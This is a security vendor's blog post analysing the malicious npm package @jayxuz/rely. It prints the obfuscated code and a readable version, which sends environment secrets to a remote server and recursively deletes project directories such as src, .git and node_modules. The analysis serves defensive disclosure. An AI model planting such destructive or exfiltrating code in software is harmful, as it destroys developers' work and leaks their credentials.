• Home
  • Blog
  • Malicious Code Deletes Directories If You Do Not Have a License

Malicious Code Deletes Directories If You Do Not Have a License

Mend researchers identify @jayxuz/rely: a new type of malicious code that deletes directories
Mend researchers identify @jayxuz/rely: a new type of malicious code that deletes directories

Our research team here at Mend has identified a new kind of malicious code that attackers can use to exploit genuine concerns about security and licenses. The code in the case below is used to prevent people from using unlicensed software, specifically by removing the code if it detects that the software is not licensed during the deployment stage. The code is tricky to understand and uses a web request to check if the software is being used legally. 

A malicious actor has distributed some legitimate packages via NPM, each of which requires a license. The problem arises when people install dependencies, including these packages, during deployment, but without the appropriate licenses, because the malicious actor has uploaded a new version of the package that destroys the files on users’ machines. The package @jayxuz/rely was uploaded to npm on January 10, 2023, 02:32 UTC time. Let’s take a look at how it works.

How it works

The package appears to have package.json and an obfuscated index.js file.

Some of the obfuscated code includes the function called “thanks”:

function thanks(_0x3503fb) {
  var _0x54aa51 = []
  //console['log'](fs[_0x27fc('0x3')](_0x3503fb))
  if (fs['existsSync'](_0x3503fb)) {
    _0x54aa51 = fs[_0x27fc('0x6')](_0x3503fb)
    _0x54aa51[_0x27fc('0xc')](function (_0x60171a, _0x43e5ad) {
      var _0x258bf5 = _0x3503fb + '/' + _0x60171a
      if (fs[_0x27fc('0xa')](_0x258bf5)['isDirectory']()) {
        thanks(_0x258bf5)
      } else {
        fs[_0x27fc('0x1')](_0x258bf5)
      }
    })
    fs['rmdirSync'](_0x3503fb)
  }
}

Later on, the code triggers the function “thanks” in various occurrences, following an “if” condition:

 [_0x27fc('0x4')](({ data }) => {
        if (data['code'] == 0xca) {
          thanks('./.vscode')
          thanks('./src')
          thanks(_0x27fc('0x9'))
          thanks(_0x27fc('0xd'))
          thanks('./.svn')
          thanks('./mock')
          thanks(_0x27fc('0x8'))
        }
 if (data['code'] != 0xc8) {
          console[_0x27fc('0x0')](chalk[_0x27fc('0x11')](data['msg']))
        }
      })
      ['catch'](() => {
        if (
          process[_0x27fc('0x10')][_0x27fc('0xb')] !== 'preview' &&
          process[_0x27fc('0x10')][_0x27fc('0xb')]['length'] <= '50'
        ) {
          thanks(_0x27fc('0xf'))
          thanks('./src')
          thanks('./public')
          thanks('./.git')
          thanks('./.svn')
          thanks('./mock')
          thanks('./node_modules')
        }
      })

The code snippet above appears to be a form of software protection or anti-piracy measure. The technique used is known as “obfuscation”, which makes it difficult for someone to understand or reverse-engineer the code. The code uses randomly generated variable and function names and is written in a compact form to further complicate the understanding of the code.

Upon initial analysis, it appears that the code is designed to check if the current environment is not a development environment. If this condition is met, it sends a POST request to a specified URL with certain data, including a custom user ID, secret key, and timestamp. If the response from the server is a specific code, the code then proceeds to delete multiple directories, including:

  • .vscode
  • Src
  • Node_modules
  • Public
  • .git
  • .svn
  • Mock

These directories are commonly used by developers, and their deletion would cause serious disruption to the legitimate software development process.

Furthermore, if the response code is not 200, the code logs an error message in a red background. The code also includes a warning message that warns of the consequences of using a cracked version or unauthorized usage.

A more readable version of the code is:

const axios = require('axios');
const chalk = require('chalk');
const fs = require('fs');

const log = console.log;

function deleteDirectory(directory) {
  if (fs.existsSync(directory)) {
    let files = fs.readdirSync(directory);
    files.forEach(function (file, index) {
      var currentPath = directory + '/' + file;
      if (fs.statSync(currentPath).isDirectory()) {
        deleteDirectory(currentPath);
      } else {
        fs.unlinkSync(currentPath);
      }
    });
    fs.rmdirSync(directory);
  }
}

!(() => {
  if (process.env.NODE_ENV !== 'development') {
    axios({
      url: 'https://vab-unicloud-3a9da9.service.tcloudbase.com/getRely',
      method: 'post',
      data: {
        customUserId: process.env.VUE_GITHUB_USER_NAME,
        secretKey: process.env.VUE_APP_SECRET_KEY,
        timestamp: new Date().getTime(),
      },
    })
      .then(({ data }) => {
        if (data.code == 202) {
          deleteDirectory('./.vscode');
          deleteDirectory('./src');
          deleteDirectory('./node_modules');
          deleteDirectory('./public');
          deleteDirectory('./.git');
          deleteDirectory('./.svn');
          deleteDirectory('./mock');
 }
        if (data.code != 200) {
          log(chalk.bgRed(data.msg));
        }
      })
      .catch(() => {
        if (
          process.env.VUE_APP_ENV !== 'preview' &&
          process.env.NODE_ENV !== 'production'
        ) {
          log(chalk.bgRed('破解造成不可挽回后果自负,正版用户请勿因破解、恶意分享失去框架更新和使用的机会,盗版用户未获取授权就使用到商业项目将追究你的法律责任'));
        }
      });
  }
})();

We note the “thanks” method is actually intended to delete various directories as triggered later in the code.

The code also contains the following message in Chinese, which poses a legal threat:

破解造成不可挽回后果自负,正版用户请勿因破解、恶意分享失去框架更新和使用的机会,盗版用户未获取授权就使用到商业项目将追究你的法律责任

Google Translate translates this as:

“Cracking causes irreparable consequences at your own risk. Genuine users should not lose the opportunity to update and use the framework due to cracking and malicious sharing. Pirated users who use commercial projects without authorization will pursue your legal responsibility [sic].”

How to protect your organization

The Mend Supply Chain Defender notified our research team about this incident in the early hours of the morning, and we were able to quickly identify its behaviour and how to address it.

The best way to thwart malicious efforts like this is to use an automated security solution such as Mend Supply Chain Defender, which informs you when you import a malicious package from open-source registries. 

Meet The Author

Tamir Ben Ari

Tamir Ben Ari is a malware researcher at Mend.io specializing in software supply chain. Previously, he held the role of security researcher at Mend.io, which included detailed vulnerability research in open source libraries.

Subscribe to Our Blog